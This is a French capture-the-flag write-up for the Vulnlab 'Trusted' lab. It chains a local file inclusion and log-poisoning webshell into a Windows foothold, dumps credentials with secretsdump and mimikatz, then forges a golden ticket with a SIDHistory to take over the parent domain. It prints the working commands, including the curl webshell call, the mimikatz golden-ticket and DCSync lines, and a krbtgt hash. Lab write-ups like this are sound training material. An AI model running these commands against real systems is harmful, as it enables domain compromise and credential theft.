Vulnlab - Trusted
Accès initial
Grace au scan nmap, on découvre rapidement que l’un des serveurs héberge un serveur xampp. En énumérant les répertoires de ce dernier, on découvre un site web :
On parcourant le site, on remarque qu’il est potentiellement vulnérable à une LFI :
On confirme cela en accédant au log du serveur sur le lien suivant :
http://10.10.162.134/dev/index.html?view=C:/xampp/apache/logs/access.log
Ainsi, on peut obtenir un accès à la machine en effectuant du log poisonning. Pour cela, on envoie une requête avec du code php dans le user agent :
curl -A « » http://10.10.162.134/
Ensuite, on peut vérifier que le webshell est fonctionnel en executant une commande :
1 | curl "http://10.10.162.134/dev/index.html?view=C:/xampp/apache/logs/access.log&cmd=whoami" |
Et on obtient la réponse suivante avec l’output de la commande « nt authority\system :
On peut alors obtenir un reverse shell :
Ensuite, on extrait les regitres SAM, SECURITY et SYSTEM :
Puis on les récuperes et on les parse avec secretsdump :
On peut aussi récupérer le hash du compte cpowers en utilisant mimikatz :
Ce qui nous permet de compromettre le premier DC :
Exploitation de la relation de confiance
Pour compromettre le deuxieme DC, il faut d’abord remarquer qu’une relation de confiance bidirectionnelle existe entre les deux domaine :
On voit que le domaine que l’on a compromis est l’enfant du domaine trusted.vl. Pour exploiter cela, on va utiliser le SIDHistory
Lorsqu’un utilisateur est migré d’un domaine à un autre, son ancien SID est conservé dans l’attribut SIDHistory dans les tickets TGT. Cela permet de préserver ses accès sans avoir à reconfigurer tous les ACL.
Le probleme c’est que les domaines parents attributs les droits de l’utilisateur correspondant au SIDHistory sans vérification si le ticket provient d’un domaine de confiance. Ainsi, en générant un ticket avec le SIDHistory de l’administrateur intégré du domaine parent, on peut le compromettre.
Pour ce faire, on commence par récupérer le SID du domaine parent :
1 | lsadump::trust /patch |
Ensuite, on peut forger un golden ticket avec le sidhistory de l’administrateur du domaine parent avec la commande suivante :
1 | kerberos::golden /user:Administrator /krbtgt:c7a03c565c68c6fac5f8913fab576ebd /domain:lab.trusted.vl /sid:S-1-5-21-2241985869-2159962460-1278545866 /sids:S-1-5-21-3576695518-347000760-3731839591-500 /ptt |
Ensuite, on peut récupérer la base NTDS du domaine parent avec la commande :
1 | lsadump::dcsync /domain:trusted.vl /dc:trusteddc.trusted.vl /all |